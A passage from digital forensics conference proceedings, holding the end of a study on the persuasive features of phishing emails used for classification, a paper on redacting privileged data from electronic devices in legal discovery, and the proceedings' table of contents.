Other kind of traditional variables, discussed in this paper, in relation to sender’s message manipulation are message variables. The message variables concern features of messages that are influential in the process of persuasive communication. For example, messages can be rationally appealing to message receivers so that they evaluate evidentiary information. In other cases, messages can be emotionally appealing so that message receivers are influenced by fear or guilt in relation to the message content (O’keefe, 1990; Petty & Cacioppo, 1981; Stiff & Mongeau, 2003).

2.1.2. Computer related variables

More recently, technology factors are also considered as important factors influencing communication outcome. In general, computer interfaces are designed for various purposes such as productivity, entertainment, and communication. Thus, usability is one of the core factors of interface design principles. It focuses on functionality of the interface so that users can complete information transaction without much difficulty if they desire. However, usability is not necessarily a sufficient condition for users to actually make transactions. To be successful in fulfilling the goal of making users actually involved in the transaction, the interface design should reflect persuasive factors which stimulate user's motivation. Current research on persuasive interface design investigates human
components in the computer interface which give the users illusory perception as if they were interacting with human being (Fogg, 2003; Reeves & Nass, 1996).

According to the functional triad (Fogg, 2003), computers can play various roles in conveying persuasive influence to the users. First, computer as a tool aids the users in making target behavior easier. For example, one click shopping in some online retail store can appeal to buyers by reducing various steps of activities to a few simple steps. In addition, computer as media can appeal to users by offering vicarious experience. Users can be motivated by experiencing simulated environment by computers. Lastly, computers can influence users by interaction with them as if humans do, namely, social actors.

2.2. Receiver’s information processing

The user cognition model in our interest is a dual process of cognition. Dual process models of cognition claim that a person's mode of thinking determines influence on processing of information. The models share assumptions about general ideas: 1) there are two relatively distinct modes of cognitive processing that a person takes, 2) situational and personal variables affect choice of mode, 3) effects are different depending upon the mode of process, and 4) influence achieved through receiver’s cognitive effort is more persistent over time, more resistant to change, and more predictive of behavior than the heuristic processing mode ("Dual process persuasion," n.d.).

For the analysis in this paper, we choose Elaboration Likelihood Model (ELM) since it is widely applied to various applications. The ELM is based on the idea that attitudes guide decision-making and its following behavior. The model, therefore, concerns the process to reach the attitude change and how source, message, receiver, and channel factors affect the mechanism of message receiver’s cognitive effort in information processing. Petty and Cacioppo (Petty & Cacioppo, 1981) identify that there are two distinctive routes to the information processing which represent the receiver’s engagement with various degree of cognitive effort, i.e., central route and peripheral route. The central route concerns the information that a person has regarding an object or an issue. Some of the main factors that the central route focuses are: 1) how the arguments are learned, 2) what kind of information people create, and 3) how people combine new information with prior knowledge. The information processing in this route appears to be rational. Therefore, the message recipient attends to the message arguments and attempts to scrutinize in order to evaluate them. In contrast, the peripheral route reflects a very different notion of information processing. Attitude change is determined by: 1) rewards or punishments that are associated with the message, 2) simple inferential cues, and 3) judgmental errors that occur in perceiving message. In the peripheral route, message perceivers make judgments based on simple cues that source or message provide.

The primary difference between the two routes is whether the perceiver engages in active thinking regarding the issue relevant information or not. In other words, the central route is taken if a perceiver engages in cognitive effort to process the issue relevant information, whereas the peripheral route is taken when simple cues are applied with significantly less cognitive effort than the central route. Therefore, the persuasive effects are distinct depending on the two routes: influence achieved through receiver’s cognitive effort is more persistent over time, more resistant to change, and more predictive of behavior than peripheral processing route. In general, however, the peripheral route deems to produce persuasive outcome more easily because people tend to make quick decisions based on peripheral cues.

2.3. Research questions

Based on the previous discussion on persuasive transactions and dual process of cognition, we state the following two research questions:

(1) Would the persuasive information structure in phishing message be perceived in two distinct routes by the email recipients?
(2) Would the persuasive information structure in phishing message serve as good features for classifying phishing message from legitimate message?
Designing a research study and testing collected data for the aforementioned research questions involves two statistical analyses, i.e., factor analysis and logistic regression analysis. Factor analysis identifies underlying dimensions among a set of variables. Therefore, in order to test the dual process information processing, stated in the research question (1), we conduct a factor analysis. In addition, logistic regression analysis is used for categorization and prediction. For designing of potential formula for classifying email messages, required for answering research question (2), binomial logistic regression is used.

3. METHOD

In this section, we present the procedures and measures that are used in our analyses. Sampling procedure, sample selection, content analysis procedure, and measurements are discussed. Our main method consists of four steps; 1) feature construction, 2) content analysis, 3) factor analysis, and 4) logistic regression analysis. Figure 1 illustrates procedures of our methodological approach.

Figure 1 Methodological approach of our study

3.1. Sample Collection

Phishing emails were collected by email feeds from antiphishing.org. Email feeds are received through info620@gmail.com which was set up particularly for this project. The feeding began from Aug 16, 2006 adding thousands of feedings per day. Since the email feedings of antiphishing.org are provided by members who are not necessarily well aware of the definition of phishing, some feedings...
were not phishing emails. Among the provided feedings, reasonably identifiable as phishing emails are selected in our sample. The sample for equation generation includes both phishing emails and legitimate emails. Legitimate emails are collected from personal email accounts.

3.2. Variables and Procedures

Variables used for our analyses were selected from a series of studies identified below. Source variables, message variables, and computer variables are measured in the five point Likert scale anchoring from 1, not likely, to 5, very likely. Phishing variables are coded in a binary form to simply represent the existence of the particular feature. Brief description of each variable is illustrated in Table 1, and the selection of variables followed descriptions below.

- Source variables and message variables are selected from reviewing persuasion literature (Hovland et al., 1953; McCroskey, 1966; O’keefe, 1990; Stiff & Mongeau, 2003).
- Computer variables are derived from Fogg’s functional triad (Fogg, 2003).
- Phishing variables are selected from reviewing phishing related literature (Drake et al., 2005; Fett et al., 2006)

Table 1 Description of variables used in analyses

<table>
<thead>
<tr>
<th>Kind of Analysis</th>
<th>Used Variable Components</th>
<th>Used Variable Item Category</th>
<th>Used Variable Item Measurements</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logistic Regression</td>
<td>Source variables (Continuous)</td>
<td>Credibility</td>
<td>Expertise, Trustworthiness</td>
</tr>
<tr>
<td>Factor Analysis</td>
<td>Message variables (Continuous)</td>
<td>Rational appeals</td>
<td>Perceived rationality of argument, Perceived plausibility of evidence</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Emotional appeals</td>
<td>Perceived degree of fear</td>
</tr>
<tr>
<td></td>
<td>Computer variables (Continuous)</td>
<td>Tool</td>
<td>Easiness of interaction</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Medium</td>
<td>Vicarious experience</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Social actor</td>
<td>Social experience</td>
</tr>
<tr>
<td></td>
<td>Phishing variables (Binary)</td>
<td>Email address discrepancy</td>
<td>Reply address differs from the claimed sender</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Quick response</td>
<td>Requiring a quick response</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Collecting info</td>
<td>Collecting information in the e-mail or links to web sites that gather information</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Link text discrepancy</td>
<td>Link text in e-mail differs from link destination or hides link</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Confusing destination address</td>
<td>Uses @ symbol to confuse</td>
</tr>
</tbody>
</table>
For different analysis, different set of data was used. For factor analysis, five different phishing emails were shown to coders. The messages were evaluated by ten coders based on variables associated with persuasive transactions. Comrey and Lee (1992) recommend more than 300 cases as decent sample size for Factor Analysis. It is generally understood that observation under 10 can cause computational difficulties. Coders spent approximately two minutes to read one email message. After reading the five emails, coders were asked to evaluate their impressions about the phishing emails. For logistic regression analysis, 16 phishing emails and 8 legitimate emails were used. The emails used from logistic regression analysis were selected from different pool so that they do not overlap with the previous five emails shown to the coders. The coding materials and coding results were delivered electronically. The coders received instruction, questionnaire, and the emails for analysis through their emails and the coding results were also submitted via emails.

4. ANALYSES AND RESULTS

In this section, we describe statistical procedures and methods used for our analyses. Analyses of collected data consist of two major procedures. First, factor analysis is used for variable classification. Variables are classified for the validation of a dual process of cognition. From the pool of persuasive communication variables, we identify underlying dimension (see Table 2). Once the variables are classified, cases are classified by conducting logistic regression analysis based on the identified variables as a result of confirmatory factor analysis in addition to known phishing factors described in the previous section. The purpose of case classification is to design a quantitative model that can make predictions on email messages whether they are phishing or not. Known phishing factors are also refined based on close examination. For example, company logo factor is filtered out since both legitimate emails and phishing emails use company logos in their messages. In other words, a company logo is not a good predictor of discriminating phishing emails from legitimate ones. Logistic regression analysis offers the proportion of variance in the dependent variable accounted for by the predictor variables as well as the relative rank of importance of each predictor variable.

**Table 2 Factor Loadings - Rotated Component Matrix**

<table>
<thead>
<tr>
<th>Rotated Component Matrix(a)</th>
<th>Component</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1</td>
</tr>
<tr>
<td>Perceived Expertise</td>
<td>0.55</td>
</tr>
<tr>
<td>Perceived rationality of argument</td>
<td>0.42</td>
</tr>
<tr>
<td>Perceived plausibility of evidence</td>
<td>0.02</td>
</tr>
<tr>
<td>Perceived Trustworthiness</td>
<td>0.42</td>
</tr>
<tr>
<td>Emotional Appeal (e.g., fear)</td>
<td>0.44</td>
</tr>
<tr>
<td>Easiness of interaction</td>
<td>0.16</td>
</tr>
<tr>
<td>Vicarious experience</td>
<td>-0.77</td>
</tr>
<tr>
<td>Social experience</td>
<td>-0.84</td>
</tr>
</tbody>
</table>

Extraction Method: Principal Component Analysis.
Rotation Method: Varimax with Kaiser Normalization.

a Rotation converged in 5 iterations.
4.1. Factor Analysis

Phishing email persuasive message data were examined by a factor analysis using Principal Components extraction and Varimax rotation method. Three factors were extracted and rotated. Each factor was apparently interpretable in terms of distinct characteristic: Factor 2 represents “peripheral route of information processing” whereas Factor 3 concerns the “central route of information processing”. Factor 1 was identified with variables that have relatively high factor loading values. It seems that computer variables are separately identified in the user’s information processing scheme of persuasive message\(^1\). The three-factor solution accounted for 73.11 percent of total variance.

The sum of squared loading after rotation for Factor 2 and Factor 3 are 1.84 and 1.83, respectively. These two factors contribute 45.87% of the total variance. Factor 2 was composed of variables indicating user’s peripheral route of information processing such as “perceived trustworthiness”, “emotional appeal”, and “easiness of interaction”, each reflecting factor loadings of .81, -.63, and -.72, respectively. Factor 3 consisted of variables reflecting user’s central route of information processing such as “Perceived rationality of argument” and “Perceived plausibility of evidence”, each having factor loadings of .69, and .97, respectively. The sum of squared loading after rotation for the factor 1 is 2.17, consisting of variables reflecting illusory experience with computer interface. The variables were “Vicarious experience” and “Social experience” with factor loadings of -.77 and -.84, respectively. Factor 1 accounted for 27.23 percent of total variance. “Perceived expertise” loaded similarly to all factors.

The above results show that variables are identified under distinct dimensions. First, “perceived rationality of argument” and “perceived plausibility of evidence” are grouped under a same dimension. We interpret that this dimension represents central route information processing since the variables are related to message manipulation that result in more cognitive effort of message receivers when processing information. Second, “perceived trustworthiness,” “emotional appeal,” and “easiness of interaction” are grouped under a same dimension, representing peripheral route of information processing. We argue that they are related to message manipulation resulting in less cognitive involvement when processing main argument of the presented message. “Vicarious experience” and “social experience” are also grouped together. We were not able to provide a proper interpretation of this particular dimension in terms of dual process cognition model. However, we expect that variable grouping can be more refined when the sample size is larger.

4.2. Logistic Regression Analysis

A logistic regression analysis was conducted to examine multivariate predictors of phishing discrimination. Logistic regression can be used to predict a dependent variable on the basis of continuous and/or categorical predictor variables and to determine the percent of variance in the dependent variable explained by the predictors. Logistic regression is a linear classifier, similar to Gaussian Naïve Bayes, that shows function approximation learning algorithms as statistical estimators or functions (Mitchell, 2006; Roos, Wettig, Grunwald, Myllymaki, & Tirri, 2005). With this analysis, a regression equation is created that can predict whether the email is phishing or not.

Since phishing variables are theory-driven and we used different dimensions of variables together in the analysis, we used a forward stepwise method instead of Enter method in SPSS management. The predictor variables entered for the analysis are perceived trustworthiness, perceived rationality of argument, perceived plausibility of evidence, emotional appeal, easiness of interaction, vicarious experience, social experience, email address discrepancy, quick response requirement, collecting personal information or not, link text discrepancy, and destination address confusion.

\(^1\) We expect that the pattern would be different with a larger sample size. Current data shows a distinction between traditional persuasive transaction and computer persuasive transaction.
The result identified that the logistic model (100%) had more effective prediction rate than the null model (69.6%). The logistic model was significantly associated with the binary prediction of phishing \( \chi^2 (2) = 28.26, p<.0001 \). The suggested equation for the logistic model is stated as below;

\[
f(\text{phishing}) = 18.07 + (38.39) \ast \text{Email address discrepancy} + (-37.82) \ast \text{Confusing destination address}
\]

Furthermore, the insignificant Hosmer–Lemeshow test \( \chi^2 (1) = 0, p>.05 \) shows that the null hypothesis of a good model fit to data was acceptable. In other words, the model was a good fit to the data. Therefore, when the data of “Email address discrepancy” and “Confusing destination address” are given we can predict whether the email is phishing or not with 100% accuracy. However, this analysis resulted from only 23 cases of dataset. Since optimal number of observation should be much larger than 23, this analysis only shows methodological approach rather than presenting substantial finding.

5. DISCUSSION

In the sections above, statistical analyses of phishing email structure were presented. Factor analysis classified variables to verify dual process of cognition. Logistic regression analysis presented a potential classifier model that could offer binary prediction. In this section, first, major limitations of this paper are discussed. Although we already identified that this study is for suggesting a research framework, the sample size is an inevitable problem in statistical analysis. Potential limitations of theory adoption and measurement limitation are also discussed.

Without an optimal sample size, this study only shows the research framework instead of significant research results. Unfortunately our preliminary analysis does not result in an equation that contains persuasive transactional components in the predictor variables. Although the result showed that the logistic model would classify phishing with 100 percent accuracy, the equation consists of only phishing features. We expected that the equation would reflect components of persuasion variables when the sample size is large enough since the main point of our argument is that persuasive information structure should work as universal features across different kinds of phishing messages.

In this paper, we only adopted parts of core components of persuasive transactions. In real life situations, more various principles of persuasion can be applied to communications. For example, receiver involvement is a critical component in persuasive communication. If a message receiver is personally involved in the issue presented in the message, it is more likely that the message receiver engage in critical evaluation of the presented message. However, the receiver factor was ignored in our research design since we only looked at sender and message perspectives in that the phishing message was analyzed in terms of sender’s message manipulation strategy. However, adoption of persuasive theories may be more refined to consider different perspectives of persuasion.

Measurements used for feature values for this paper was subjective measures which represent user perception. It is a challenging task to represent human perception for the tasks of text classification. System implementation can be difficult and/or uneconomical since there should be an additional system which should function as a reference to signify the feature set representing persuasive component.

6. CONCLUSION

Investigating information structure of phishing email can provide system designers with a novel idea of phishing detecting mechanism. In this paper, we demonstrated that user perception regarding phishing message can be identified in two distinct ways of information processing, i.e., central route and peripheral route. We also identified a quantitative model that represents
persuasive information structure in email messages. We claim that the model can be used for classifying phishing emails from legitimate emails. In particular, we proposed a method to design a set of features for the classification based on a dual process model of cognition.

The results of this study indicate that persuasive components in phishing messages can be identified as a set of features for phishing detection mechanism. The results are significant in that the identified set of features using our method can potentially be used for the design of phishing filter which does not required frequent feature update. The features extracted from our method would serve as a universal pattern of phishing email messages.

7. REFERENCES


Towards Redaction of Digital Information from Electronic Devices

Gavin W. Manes  
Lance Watson  
Alex Barclay  
David Greer  
John Hale

Oklahoma Digital Forensics Professionals, Inc.  
401 S. Boston Ave. Ste. 1701  
Tulsa, OK 74103  
918-856-5337  
gavin@okdfp.com  
lance@okdfp.com

Center for Information Security  
University of Tulsa  
600 S. College Ave.  
Tulsa, OK 74104  
918-631-3560  
gavin-manes@utulsa.edu  
alex-barclay@utulsa.edu  
david-greer@utulsa.edu  
john-hale@utulsa.edu

ABSTRACT

In the discovery portion of court proceedings, it is necessary to produce information to opposing counsel. Traditionally, this information is in paper form with all privileged information removed. Increasingly, the information requested during discovery exists in digital form and savvy counsel is requesting direct access to the original digital source: a broad spectrum of additional digital information can be often be extracted using digital forensics. This paper describes the major problems which must be solved to redact digital information from electronic devices. The primary hurdle facing digital redaction is the lack of a rational process for systematically handling encoded, encrypted, or otherwise complex data objects. Any such process would need to incorporate a method for validating the integrity of electronic or digital redaction processes.

Keywords: digital forensics, redaction, electronic discovery, legal production, privilege

1. INTRODUCTION

Redaction is the process of removing privileged information from a document or set of documents before its presentation to other parties. The reasons for redaction are many and varied [1,7,9,10,11]. This paper will focus on those that apply to the legal community, because the rules of conduct for redaction in the legal system are the most defined and constraining.

During the discovery portion of court proceedings, it is necessary to produce information to opposing counsel. In general, a lawyer's work on a case is protected by the work-product privilege, communications are protected between an attorney and their client, and other parties have no right to this information. The work-product privilege means that any documents prepared in anticipation of litigation or for trial by a party's representative enjoy a qualified immunity from discovery. Other such privileges include: doctor/patient, priest/penitent, and husband/wife. To prove to the court that information is privileged, the party claiming privilege must show that the communication: 1) was made with an expectation of confidentiality, 2) is essential to a socially approved relationship or purpose, and 3) has not been waived by disclosure of the contents of the communications to persons outside of the relationship.
The result of redaction is the production of three pieces of information: an In Camera Copy of the privileged information, a Privilege Log and a Redacted Production Copy of the information. The In Camera copy contains all the items regarded as privileged and is presented to the judge in the case. The Privilege Log and Redacted Production Copy are presented to opposing counsel. If a question arises as to whether a particular item on the privilege log actually meets the burden of privilege, the judge can review the material within the In Camera copy and provide judgment.

Traditionally, the requested information is presented in paper form. Currently, two methods are used to redact paper documents – “blackout” and physical removal. The blackout method involves using a black marker to conceal portions of a document that are considered privileged. The physical removal method involves selecting documents from a group of papers and removing them from the set. Depending on the court’s requirements, this may necessitate marking the exact location from which the document was removed.

The same set of concerns exist for privileged information residing on electronic storage devices, but no standard method of digital redaction has been adopted by the legal community. Computerized methods that mimic the blackout process exist, as do those for mimicking the physical removal method [3,5]. The latter typically involves the collection of all readable documents from a computer, placing them in a collection, and selecting the items to redact. Yet, while electronic blackout and removal methods can sanitize a document or set of documents found on an electronic device, they do nothing to redact logical copies or copied fragments of the document that remain.

Moreover, with the introduction of digital forensics and digital evidence into the court system, it is becoming necessary to produce the entire contents of computer disks and other electronic storage devices as evidence. This production goes beyond simply selecting all readable documents on a drive. It involves producing information that exists in free or slack space, deleted items, document fragments and even data that may not be in a readily identifiable format. This collection process produces what is commonly referred to as a forensics copy.

The growing numbers of electronic devices that integrate digital data storage components have exacerbated the issue of redaction. Devices such as cell phones, digital cameras, and digital music players, along with laptops and desktop computers store information using a variety of file systems, media technologies, and data formats. The sheer variety of these storage possibilities differentiates this issue from the traditional methods of redaction and the physical pen-and-paper form they take.

Highlighting this issue is the fact that a single data fragment may be physically replicated multiple times on media. Moreover, simply deleting a file does not usually mean the information is actually erased, but only that the reference point is destroyed. A faithful redaction process for data storage images must account for these subtleties in a systematic and comprehensive manner.

2. DIGITAL REDACTION CHALLENGES

The challenges to digital redaction are numerous and substantial [2,3,6,8]. They include:

- The variety and disparities in electronic storage devices
- The potential for encrypted data
- Files which are deleted but recoverable in slack space or unoccupied regions of a file system
- Data fragmentation
- Isolation of privilege by context for integrated data

To completely redact digital information from an electronic device, it is critical to determine all logical and physical locations of pertinent documents and related data fragments that reside on the digital media. This is because data is routinely stored in multiple locations on most devices. For example, Microsoft Word files are normally saved in a user-selected directory, but may also be automatically backed-up in a temporary folder as a part of normal operation; therefore, a Word document would
logically exist at least twice on the computer system.

Similarly, deleting privileged information from digital media does not fully protect it from a well-executed forensic examination. The only versions of a document that can be directly deleted are listed in file mapping tables. Other copies of the item, i.e. those that remain in slack space, might be located during a thorough digital forensic examination.

Determining all of the physical locations of digital information is also important due to the partitioning methods of electronic media and devices. For example, consider the effect of a user creating a file on a LINUX system and subsequently saving it on a FAT partition of the hard drive. The drive is then repartitioned and the file falls out of the new logical partition size, the file is moved into the space on the hard drive reserved for that resized FAT partition. Thus, the file may now exist at least twice on the hard drive; once in the new location and once in its original location.

In determining whether information is privileged, one must be able to interpret the information rationally; if information is unreadable, privilege cannot be determined. This presents a problem on digital devices when information is stored encoded, protected or encrypted. During the redaction process, digital data without rational interpretation may be produced on the grounds that it contains no apparent privilege. The data may actually contain privileged information that is concealed by the encoding. Consequently, if a rational interpretation is later discovered the data can be decoded. This scenario admits the possibility of the privileged information being unknowingly (and unfortunately) revealed to opposing counsel.

Finally, the accuracy of the digital redaction process is extremely important. In producing a redacted copy, care should be taken to demonstrate that the integrity of the redacted copy is preserved as it relates to the source media. The redaction process should only remove the data segments marked for redaction and leave all remaining segments untouched. Thus, digital redaction methods should incorporate validation schemes that offer assurance regarding the integrity of the redaction process.

3. DIGITAL REDACTION COMPONENTS

There are several components required to perform the digital redaction process. The first component is identifying Privileged Information. Next, an Electronic Device Investigation is performed on a Work Copy of an Electronic device. The result of this investigation will identify privileged information, complex and indeterminate data objects and produce an index of redactable items. Finally, the Digital Redaction Process uses Redaction Tokens to produce both a Redacted Production Copy with an associated Privilege Log and an In Camera Copy of the information. The Redacted Production Copy is then re-processed to provide reasonable certainty as to accuracy of the redaction and the In Camera copy is validated through a digital redaction assurance process. These components are unique to the Digital Redaction Process and are detailed below.

3.1 Privileged Information

Electronic redaction allows for the selective exclusion of information protected under privilege as defined by federal, state, and local laws; e.g. attorney-client, doctor-patient, priest-penitent, marital, etc.

The selection of privileged content is based on the current legal standards for such material. These standards involve communication between an accepted member of an accepted privilege class acting in an accepted capacity. Additionally, the court may indicate that certain topics are off-limits and any such related material is to be redacted as well.

3.2 Electronic Device Investigation

The process of redaction typically begins with the creation and/or selection of a Work Copy of an Electronic Device. A Work Copy is typically a forensics copy of the original media, but could be the original media where it is impractical or impossible to create such a copy. A Digital Forensic
Investigation is then performed in order to find all privileged digital information qualifying for redaction, including complex and indeterminate data (described later). This yields an index of redactable items each with a description of their reason for redaction.

### 3.3 Complex and Indeterminate Data Objects

A digital forensics investigation can yield privileged and non-privileged information. In addition, it may uncover data that is not immediately interpretable. Such data may be structured, compressed or otherwise encoded for interpretation by a special application or method, e.g. an Outlook PST file for an e-mail application. Encryption, data scrambling, or fragmentation may also prevent immediate interpretation of data. Any data that is encoded or structured (and interpretable by a special viewer or application) is treated as a *Complex Data Object*.

A metaphorical example of a Complex Data Object is a piece of used carbon paper: if carbon paper is used multiple times, it may contain interwoven and overlapping documents which cannot be easily interpreted. At this point, it is unclear if the carbon paper contains privileged information; however, analysis could yield the individual documents which may contain privileged information. Clearly it would be irresponsible to produce this carbon paper without performing this analysis and redacting the privileged information.

Complex Data Objects are subject to an additional investigative process using appropriate tools and techniques to interpret the data and make it readable. The interpreted data can then be subject to digital redaction. In cases where no interpretation method is available, such data are labeled *Indeterminate Data Objects*, and may be redacted until a method for interpretation presents itself in the future (and as a result the object is transitioned to a Complex Data Object).

A metaphorical example of an Indeterminate Data Object is again a piece of carbon paper, but one that had been used more extensively. In this case, even if it is not possible to extract individual documents based on current process, it would be irresponsible to produce because a new process could be created at some point in the future to extract the privilege-containing documents.

It should be noted that Complex Data Object Processing is recursive in nature, as these objects may contain other Complex Data Objects. Where no suitable methods are available for interpretation of Complex Data Objects, a degenerate, non-recursive invocation is completed and the object is labeled as indeterminate.

### 3.4 Digital Redaction

If there are no items to redact, then no privilege or complex/indeterminate items were located and the process is considered complete. Subsequently, the Work Copy used to initialize the current Digital Forensics Investigation and all Privilege Logs associated with that Work Copy are ready for submission to the opposing side. If privileged material is located then Digital Redaction commences.

Using an index of redactable items, portions of the Work Copy are copied to a separate media source and are tagged with identifying location information and a reason for redaction. This becomes the In Camera Copy. In most legal situations, this is the copy of information given to the judge. Concurrently, a Privilege Log is created that contains the identifying information and a reason for redacting for each item.

A Redacted Production Copy is created by copying the Work Copy to a sterile media source using one of a variety of techniques to sanitize or remove each identified portion of the Work Copy based on the index of redactable items. The result of this step is the Redacted Production Copy. This copy should contain no privileged or complex/indeterminate information. Both the Redacted Production Copy and the privilege log are provided to the opposing council.
3.5 Redaction Tokens

Redaction tokens are bit sequences that can be used to replace or stand for private data, complex data objects, or indeterminate data objects in the Redacted Forensic Copy. As such, they provide a method to describe the Redaction process to the court and other examiners. Tokens can help confirm the integrity of the redaction process and provide an accessible layer of abstraction for layperson juries. Implementation requirements will vary depending on legal statutes and precedence, but redaction tokens have inherent advantages which vary based on the method of implementation:

- Tokens create identifiers that bind redacted data objects to the Privilege Log.
- Tokens can act as markers for interoperability with other programs, thus making redacted data segments recognizable to external tools. Forensics suites could recognize markers and skip data carving or sliding window analysis on what is token data/meta-data.
- Tokens can provide a basic audit log, with the token encoding information about the examiner, case, etc.
- Tokens can contain a digital signature of the examiner, providing repudiation and a chain of custody.
- Tokens can include a one-way hash of the redacted object, to verify the integrity of the original object and In Camera copy.
- Tokens can emulate the pre-redaction environment; all data besides the redaction information will appear to be intact.
- Tokens mimic the paper redaction system courts are familiar with, providing an easier conceptual understanding of the processes.

The actual bit sequences for redaction tokens may be generated in a variety of ways, depending on the purpose of the token. The token can serve as a method to represent redacted data, bind meta-information, and provide accountability or any combination thereof. The size of the smallest redacted object might also dictate the potential contents of the token, if the courts want to keep file sizes original. In UTF8, a common encoding format, a name that might be considered privileged could be as small as 6 bytes, thus becoming the maximum token size. On the other hand, redaction of large image files increases the potential size of the token, potentially adding to its abilities.

There are many considerations in generation of the token. Foremost, tokens for each production must be consistent in format, and agreed upon by all parties. Secondly, the token must be amenable to parsing. This issue is more complex than it might initially appear since good tokens must avoid magic numbers and other bit sequences used in file headers and file system constructs. Additionally, tokens should be easily identifiable and be generated in a reasonable amount of time. Lastly, it is vital that a token never reveal information about the contents of the data objects represented in the Redacted Production Copy.

3.6 Reprocessing and Validation

To provide assurance that redaction has been accomplished successfully, the Redacted Production Copy is re-processed through the described redaction process, as many times as necessary to provide reasonable certainty as to accuracy of the redaction. If additional privileged or complex/indeterminate information is found during subsequent examinations, the information is redacted and added to the In Camera Copy and Privilege Log.

Additionally, the In Camera copy is subjected to the post-redaction validation process. This is a separate Electronic Device Investigation; if privilege and complex/indeterminate data rules have been properly applied during the Electronic Device Investigation, every item in the In Camera Copy should be marked for redaction.
4. CONCLUSION AND FUTURE WORK

The increasing use of digital forensics in legal action is an indicator that digital redaction will soon be at the forefront of discussion. Current methods of redaction do not sufficiently address the complexity of the problem in the digital arena. It is only a matter of time before the legal community realizes this and reacts.

Consider an attorney who is using digital forensics to find privileged information from free or slack space. It can be assumed that opposing counsel would never have turned this information over had they known it existed. This slip will give one side an unfair and unwarranted advantage in this case.

Or more ominously, consider an individual engaged in criminal acts fighting a discovery order for digital media by insisting that the computer contains privileged communication between himself and counsel. Since there is no clear path to redact this information, the entire data source must be declared off limits.

Clearly, the time to address digital redaction concerns is now. Future work must identify the best possible methods for digital redaction as they apply to the variety of storage solutions currently available. Because the technologies differ so widely it is assumed that, while the general methodology for each media type will be the same, implementation and execution will vary widely. It seems apparent that the issues inherent in digital redaction are thorny enough to keep research in both the legal and computing communities busy for quite some time.

5. REFERENCES


ABOUT THE AUTHORS

Dr. Gavin W. Manes has both taught and performed hundreds of forensics investigations over the past eight years as a student and a professor at the University of Tulsa. Most recently, he founded Oklahoma Digital Forensics Professionals to fill a gap in the Oklahoma economy by offering digital forensics services. Dr. Manes has a background in computer security, information assurance, telecommunications security, and digital forensics. He was responsible for the creation of the Tulsa Digital Forensics Laboratory on the University of Tulsa campus. As a result, both the Tulsa Police Department Cyber Crimes Unit and the Oklahoma State Bureau of Investigation Computer Crime unit have a permanent presence utilizing the facility.

Lance Watson received his Master of Science in Computer Science from the University of Tulsa in 2003. During his time at TU, he focused on computer and network security, including participation in research regarding telecommunications security. He has earned all five of the federal CNSS/NSTISSI information assurance certifications. Currently, Lance Watson is serving as the Vice President of Client Relations at Oklahoma Digital Forensics Professionals, Inc. Mr. Watson oversees company operations including the collection and analyses of digital devices such as computers, cell phones, and PDAs. Information or evidence found is delivered to clients in easy to read non-technical reports. Mr. Watson’s ensures the company adheres to the highest standards of quality, confidentiality, and professionalism.

Alexander Barclay is a Ph.D student at the University of Tulsa in the Enterprise Security Group. His current research interests include risk-adaptive access control, compound exposure analysis, and mach/Darwin security.

David Greer is a Ph.D student at the University of Tulsa at the Center for Information Security. His current research interests include digital forensics, information assurance education, and cyber law. Mr. Greer most recently was the information security specialist at the Oklahoma Department of Career and Technology Education.

Dr. John Hale is an Associate Professor of Computer Science and Director of the Center for Information Security at the University of Tulsa. Dr. Hale has significant expertise in computer security, distributed systems and formal methods. He has published approximately refereed articles and one book, Research Advances in Database and Information Systems Security, Kluwer (2000). Dr. Hale is a member of the IFIP Working Group 11.3 on Database Security and served as Program Co-Chair for its 1999 International Conference. His research sponsored by the NSA and NSF explores the role of operating systems, programming languages and virtual machines in providing secure computation and communication environments.
Contents

Schedule ............................................................................................................................... 4
Monitoring and Surveillance in the Workplace: Lessons Learnt? – Investigating
the International Legal Position ............................................................... 7
Verine Etsebeth

The Evolution of Internet Legal Regulation in Addressing Crime and Terrorism .......... 19
Murdoch Watney

Federal Rules and Digital Evidence for Digital Forensics Examiners ......................... 31
Gavin W. Manes

An Exploratory Analysis of Computer Mediated Communications on
Cyberstalking Severity ........................................................................ 41
Stephen D. Barnes and David P. Biros

Guideline Model for Digital Forensic Investigation ............................................... 55
Salma Abdalla

The General Digital Forensics Model ...................................................................... 77
Steven Rigby

The Gap between Theory and Practice in Digital Forensics ..................................... 85
Joe Sremack

Team Responsibilities for Digital Forensic Process ................................................. 95
Salma Abdalla

The Case for Teaching Network Protocols to Computer Forensics Examiners ........ 115
Gary C. Kessler

Education for Cyber Crime Investigators ................................................................ 139
David Greer

Textbooks for Computer Forensic Courses: A Preliminary Study Examiners ........... 141
Jigang Liu

Do Current Erasure Programs Remove Evidence of BitTorrent Activity .................. 147
Andrew Woodward

Computer Geolocation Using Extracted Features ...................................................... 159
Chad M.S. Steel

Defending Against Trusted Insider Use of Digital Steganography ............................. 175
James E. Wingate

Investigating Information Structure of Phishing Emails Based on Persuasive .......... 185
Ki Jung Lee, Drexel University and Il-Yeol Song

Towards Redaction of Digital Information from Electronic Devices ....................... 197
Gavin W. Manes